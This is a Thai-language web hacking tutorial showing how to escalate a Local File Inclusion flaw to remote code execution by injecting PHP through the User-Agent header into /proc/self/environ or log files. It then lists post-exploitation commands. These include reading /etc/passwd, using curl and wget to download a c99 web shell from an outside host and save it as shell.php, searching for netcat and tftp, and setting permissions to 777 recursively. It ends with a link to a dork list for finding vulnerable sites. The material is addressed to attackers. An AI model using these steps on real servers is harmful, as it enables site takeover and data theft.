WebHacking {LFI To RCE}

เรียนรู้สถานะการณ์ HACKER แฮกเว็บด้วยภาษาบ้านๆ


บทความนี้อธิบายเพียงเล็กน้อยเกี่ยวกับช่องโหว่ของเว็บไซต์
พื้นฐานอย่าง Local file Inclusion (LFI) คู่กับ Remote Code Execution (RCE)
หลายๆคนที่เซิสอ่านเรื่อง LFI คงเคยเจอกันมาบ้างแล้วนั่นคือ  LFI-RCE (proc/self/environ)

สรุปสั้นๆเพื่อสร้างความเข้าใจกับผู้เริ่มต้น


Local File Inclusion (LFI)
ช่องโหว่นี้ทำให้ HACKER สามารถเรียกอ่านเนื้อหาไฟล์ต่างๆภายในเว็บไซต์ได้
proc/self/environ
ที่อยู่นี้ให้มองว่าเป็นไฟล์หนึ่งของ ระบบปฏิบัติการ Linux ที่ทำให้สามารถ
ฝังโค้ด หรือ สามารถโจมตีเพื่อรันโค้ด PHP จากไฟล์นี้
อื่นๆอีกมาก ที่อาจเป็นได้ในกรอบของการโจมตีแบบ LFI TO RCE
เช่น ( access.log
/error.log
/var/log/messagesvar
/log/mysql.log
/var/log/user.log
etc. )


สาเหตุเพราะการแสดงข้อมูลที่มี User-Agent หรือข้อมูลใดใด ของฝั่งผู้ใช้ บนไฟล์นี้

หมายความว่า.....
หาก HACKER เจอช่องโหว่ LFI แล้ว
ก็ทำการค้นหา (Traversal path) (ตามภาพ) จนพบที่อยู่ของ proc/self/environ
และทำการโจมตีต่อด้วย Remote Code Execution (RCE)
คือการโจมตีด้วยการใช้คำสั่งอย่าง ls , pwd , บลาๆจากการระยะไกลได้

จากภาพหลายคนที่สงสัยว่า ../../../../../../ คืออะไร ?
คำตอบ : ก็คือวิธีการที่เรียกว่า Traversal path 
เปรียบเหมือนการกด BACK กลับ ...ขณะที่เราเปิด folder บน Windows
เพื่ออ้างถึงที่อยู่ของไฟล์ที่แท้จริง

หลังจากนั้น HACKER จะทำการฝังโค้ดลงไป
ด้วยการที่ HACKER จะสามารถเปลี่ยนค่า User-Agent
จากข้อมูลที่ Browser ส่งออกไปติดต่อกับฝั่งเว็บ จากเดิม
ให้เป็นโค้ด PHP โดย HACKER จะใช้ปลั๊กอินของ Firefox ชื่อ Live HTTP Header

คลิปตัวอย่างการโจมตี


ส่วนท้ายสุดต่อไปเป็นคำสั่งพื้นฐานที่ใช้บ่อยๆเล็กๆน้อยๆ
ครับสำหรับคนที่ทำ LFI TO RCE สำเร็จ

คำสั่งแรกที่ใช้  :   uname -a  ( -a ก็คือ ALL )
เพื่อที่จะแสดงข้อมูลของระบบทั้งหมดตามด้านล่างนี้
-s, --kernel-name        print the kernel name
-n, --nodename           print the network node hostname
-r, --kernel-release     print the kernel release
-v, --kernel-version     print the kernel version
-m, --machine            print the machine hardware name
-p, --processor          print the processor type or "unknown"
-i, --hardware-platform  print the hardware platform or "unknown"
-o, --operating-system   print the operating system


whoami      / ฉันคือใคร ?
pwd           / ฉันอยู่ที่ไหน ? - print working directory
cd ~          / ย้ายไปยังไดเรกทอรี่หลักของ user home/username
cd ..          / ถอยกลับไปยังไดเรกทอรีหลักของไดเรกทอรีปัจจุบัน
cd /home/httpd/vhost/akone/basichack    / ย้ายไปยังไดเรกทอรี่ /home/httpd/vhosts/akone/basichack/

cat /etc/passwd                                               // แสดงเนื้อหาของไฟล์ /etc/passwd
cat "text" > myfile.txt         / cat "text" ไปเขียนทับเนื้อหาเดิมในไฟล์ myfile.txt
cat file1.txt file2.txt       /  ดูเนื้อหาในไฟล์ 1.txt ต่อท้ายด้วย 2.txt ในทีเดียว
cat file1.txt file2.txt > output.txt        / ถ้าผลลัพธ์มันยาว เราก็จะใช้ > ให้เขียนลงไฟล์ใหม่ชื่อ Output.txt

ls -la   // แสดงรายชื่อไฟล์,โฟล์เดอร์ และรายละเอียด

curl -o shell.php http://www.test.com/c99.txt  
//หากมีการใช้งาน curl ก็สามารถอัพโหลดไฟล์ชื่อ shell.php โดยใช้เนื้อหาจาก c99.txt

wget http://www.test.com/c99.txt -o shell.php    
// หรือใช้ wget เนื้อหาจาก c99.txt มาเก็บไว้ใน shell.php ณ.ไดเรกทอรี่ปัจจุบัน

more /etc/passwd                                                             // อ่านเนื้อหาของแฟ้ม /etc/passwd
mkdir pentest                                                                   // สร้างไดเรกทอรี่ใหม่ชื่อ pentest

cp    // Copy file
เช่น cp /home/public_html/file-copy.txt /home/public_html/forums/file-paste.php

find / -name config.php                                  //  ใช้ค้นหาแฟ้ม config.php ในทุก directory
find / -name hello*                                         //  ใช้ค้นหาแฟ้มที่ขึ้นต้นด้วยคำว่า hello

::: orther :::
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

chmod 777 file.php              //  Set permission 777 ให้ไฟล์ file.php ในไดเรกทอรี่ที่เราอยู่
chmod 777 * -Rf                // Set permission 777 ให้ทุกไฟล์ และในทุกไดเรกทอรี่ย่อยจากปัจจุบัน

netstat > output.txt               // เช็ค ip ที่ติดต่อกับเซิฟเวอร์ เหมือนบน windows
[see file] www.example.com/path/output.txt

chown ak1:users X          // เปลี่ยนเจ้าของของแฟ้ม X ให้เป็น ak1 และอยู่ในกลุ่มของ users
chgrp users X                   // เปลี่ยนกลุ่มของแฟ้ม X ให้เป็นกลุ่มของ users



[lif] google dork list : http://pastebin.com/1gdZt6zY